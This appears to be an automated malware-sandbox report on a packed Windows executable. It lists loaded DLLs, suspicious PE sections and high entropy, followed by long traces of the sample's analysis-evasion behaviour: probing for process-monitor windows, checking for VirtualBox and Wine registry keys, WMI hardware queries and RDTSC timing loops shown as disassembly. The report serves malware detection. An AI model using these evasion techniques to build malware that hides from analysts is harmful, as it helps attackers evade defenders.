Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: bzzF5OFbVi.exe

Static file information: File size 1849856 > 1048576

Source: bzzF5OFbVi.exe

Static PE information: Raw size of masaydru is bigger than: 0x100000 < 0x199c00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: bzzF5OFbVi.exe, 00000000.00000002.2399154347.0000000005D42000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Unpacked PE file: 0.2.bzzF5OFbVi.exe.40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;masaydru:EW;vstbxnot:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;masaydru:EW;vstbxnot:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: bzzF5OFbVi.exe

Static PE information: real checksum: 0x1cb8d9 should be: 0x1d019e

Source: bzzF5OFbVi.exe	Static PE information: section name:
Source: bzzF5OFbVi.exe	Static PE information: section name: .idata
Source: bzzF5OFbVi.exe	Static PE information: section name:
Source: bzzF5OFbVi.exe	Static PE information: section name: masaydru
Source: bzzF5OFbVi.exe	Static PE information: section name: vstbxnot
Source: bzzF5OFbVi.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDE1D8 push 6E54FA8Bh; mov dword ptr [esp], eax	0_2_05EDEA0E
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDE1D8 push ecx; mov dword ptr [esp], esp	0_2_05EDEA12
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDB5EC push edx; mov dword ptr [esp], ebx	0_2_05EDB5FF
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDBDE8 push ebx; mov dword ptr [esp], edx	0_2_05EDBDE9
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDADEA push 7999CAC7h; mov dword ptr [esp], edi	0_2_05EDAEE4
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDADEA push eax; mov dword ptr [esp], ebx	0_2_05EDAEE8
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDBDE2 push edx; mov dword ptr [esp], eax	0_2_05EDEDEA
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDADF6 push 0A92020Eh; mov dword ptr [esp], edi	0_2_05EDE7B1
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDADF6 push 6E54FA8Bh; mov dword ptr [esp], eax	0_2_05EDEA0E
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDADF6 push ecx; mov dword ptr [esp], esp	0_2_05EDEA12
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDADF6 push esi; mov dword ptr [esp], 236EB0B2h	0_2_05EDF6E8
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDADF6 push ecx; mov dword ptr [esp], 6DA09E2Dh	0_2_05EDFF0A
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDADF6 push ebp; mov dword ptr [esp], esi	0_2_05EDFF1C
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDD5F0 push 70FEFF4Eh; mov dword ptr [esp], esi	0_2_05EDD95E
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDD5F0 push edx; mov dword ptr [esp], 2E73EA67h	0_2_05EE071B
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDC5C8 push eax; mov dword ptr [esp], 77AF3E73h	0_2_05EDC5CF
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EE35DC push eax; ret	0_2_05EE35EB
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDCDDE push esi; mov dword ptr [esp], eax	0_2_05EDCE15
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDCDDE push 42244802h; mov dword ptr [esp], eax	0_2_05EDF3D9
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDB5DB push 4FDB0DD7h; mov dword ptr [esp], ebx	0_2_05EDC70B
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDB5DB push ecx; mov dword ptr [esp], eax	0_2_05EDFBF6
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EEB5AB push 44E1F2F3h; mov dword ptr [esp], esi	0_2_05EEBB97
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDC5A7 push ecx; mov dword ptr [esp], 7D4F161Fh	0_2_05EDC5BC
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EDC5A7 push eax; mov dword ptr [esp], 3770F977h	0_2_05EDCCCF
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EEB5B5 push 4C80F874h; mov dword ptr [esp], edx	0_2_05EEB5C0
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EEB58C push cs; mov dword ptr [esp], edi	0_2_05EEB5CA
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EE758A push 32D4082Ah; mov dword ptr [esp], ebx	0_2_05EE7729
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05ED8D9C push 4E059112h; mov dword ptr [esp], eax	0_2_05ED8DA7
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EE5D9D push esi; mov dword ptr [esp], ecx	0_2_05EE5D9E
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EEB598 push edx; mov dword ptr [esp], ebx	0_2_05EEBBCE
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Code function: 0_2_05EE3D96 push 738F0892h; mov dword ptr [esp], esi	0_2_05EE4394

Source: bzzF5OFbVi.exe	Static PE information: section name: entropy: 7.978757981548001
Source: bzzF5OFbVi.exe	Static PE information: section name: masaydru entropy: 7.953355017046754

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 21133E second address: 211355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jnl 00007FB180E78736h 0x0000000e jns 00007FB180E78736h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 211355 second address: 21135B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2056DC second address: 2056E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2056E0 second address: 2056E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2056E4 second address: 2056EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2140CE second address: 2140E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FB180E7C716h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2140E3 second address: 214104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB180E78740h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 214104 second address: 214108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 214108 second address: 214116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FB180E7873Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 214116 second address: 98C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jnl 00007FB180E7C71Ah 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jmp 00007FB180E7C71Eh 0x00000016 pop eax 0x00000017 mov dl, 64h 0x00000019 push dword ptr [ebp+122D0015h] 0x0000001f mov ecx, dword ptr [ebp+122D3B7Ch] 0x00000025 call dword ptr [ebp+122D2A52h] 0x0000002b pushad 0x0000002c mov dword ptr [ebp+122D1838h], ebx 0x00000032 xor eax, eax 0x00000034 jns 00007FB180E7C729h 0x0000003a mov edx, dword ptr [esp+28h] 0x0000003e pushad 0x0000003f mov ecx, 51F68B6Bh 0x00000044 jmp 00007FB180E7C727h 0x00000049 popad 0x0000004a mov dword ptr [ebp+122D38D4h], eax 0x00000050 cld 0x00000051 mov esi, 0000003Ch 0x00000056 mov dword ptr [ebp+122D1838h], ebx 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 cmc 0x00000061 lodsw 0x00000063 jmp 00007FB180E7C71Eh 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c mov dword ptr [ebp+122D1817h], ecx 0x00000072 mov ebx, dword ptr [esp+24h] 0x00000076 jnc 00007FB180E7C720h 0x0000007c nop 0x0000007d push eax 0x0000007e push edx 0x0000007f pushad 0x00000080 jmp 00007FB180E7C71Bh 0x00000085 push esi 0x00000086 pop esi 0x00000087 popad 0x00000088 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2141A8 second address: 2141AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2141AF second address: 2141B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB180E7C716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2141B9 second address: 214209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78742h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007FB180E7873Ah 0x00000012 push ecx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop ecx 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007FB180E78749h 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edi 0x00000023 pushad 0x00000024 popad 0x00000025 pop edi 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push ecx 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 214209 second address: 2142D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 add dword ptr [ebp+122D1817h], ecx 0x0000000d push 00000003h 0x0000000f jg 00007FB180E7C72Ch 0x00000015 push 00000000h 0x00000017 xor dx, 8171h 0x0000001c push 00000003h 0x0000001e jmp 00007FB180E7C723h 0x00000023 xor dword ptr [ebp+122D1A40h], edi 0x00000029 push 61DA1600h 0x0000002e jp 00007FB180E7C71Eh 0x00000034 add dword ptr [esp], 5E25EA00h 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007FB180E7C718h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 0000001Bh 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 lea ebx, dword ptr [ebp+1244EFEBh] 0x0000005b push 00000000h 0x0000005d push ebx 0x0000005e call 00007FB180E7C718h 0x00000063 pop ebx 0x00000064 mov dword ptr [esp+04h], ebx 0x00000068 add dword ptr [esp+04h], 00000018h 0x00000070 inc ebx 0x00000071 push ebx 0x00000072 ret 0x00000073 pop ebx 0x00000074 ret 0x00000075 sub edx, dword ptr [ebp+122D3491h] 0x0000007b xchg eax, ebx 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f push eax 0x00000080 pop eax 0x00000081 jmp 00007FB180E7C722h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 214441 second address: 2144AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007FB180E7873Bh 0x0000000b pop eax 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 jmp 00007FB180E7873Fh 0x00000017 pushad 0x00000018 jmp 00007FB180E7873Eh 0x0000001d jne 00007FB180E78736h 0x00000023 popad 0x00000024 popad 0x00000025 pop eax 0x00000026 sub dword ptr [ebp+122D1F2Eh], edx 0x0000002c lea ebx, dword ptr [ebp+1244EFF4h] 0x00000032 push esi 0x00000033 jmp 00007FB180E78747h 0x00000038 pop esi 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2144AC second address: 2144B6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB180E7C716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 214566 second address: 21456C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 21456C second address: 214582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FB180E7C718h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 214582 second address: 2145AC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB180E78738h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007FB180E78748h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2145AC second address: 214637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB180E7C726h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jmp 00007FB180E7C724h 0x00000016 pop eax 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FB180E7C718h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov si, di 0x00000034 push 00000003h 0x00000036 clc 0x00000037 push 00000000h 0x00000039 and ecx, dword ptr [ebp+122D3884h] 0x0000003f push 00000003h 0x00000041 mov dh, 48h 0x00000043 jc 00007FB180E7C716h 0x00000049 call 00007FB180E7C719h 0x0000004e jne 00007FB180E7C724h 0x00000054 push eax 0x00000055 push edx 0x00000056 jg 00007FB180E7C716h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 214637 second address: 21465E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FB180E78738h 0x0000000e pop edx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007FB180E7873Bh 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 21465E second address: 214663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 231C66 second address: 231C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB180E7873Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 231C7F second address: 231C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 232253 second address: 232258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2323A6 second address: 2323AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2323AA second address: 2323B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 232518 second address: 23251C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 23251C second address: 232522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2327DA second address: 2327E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2327E2 second address: 2327FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FB180E78736h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FB180E7873Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 229A37 second address: 229A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 229A3B second address: 229A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 229A4B second address: 229A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2337B7 second address: 2337C5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2337C5 second address: 2337E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007FB180E7C71Ch 0x0000000e jg 00007FB180E7C71Eh 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2337E3 second address: 2337FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7873Fh 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2337FB second address: 233801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
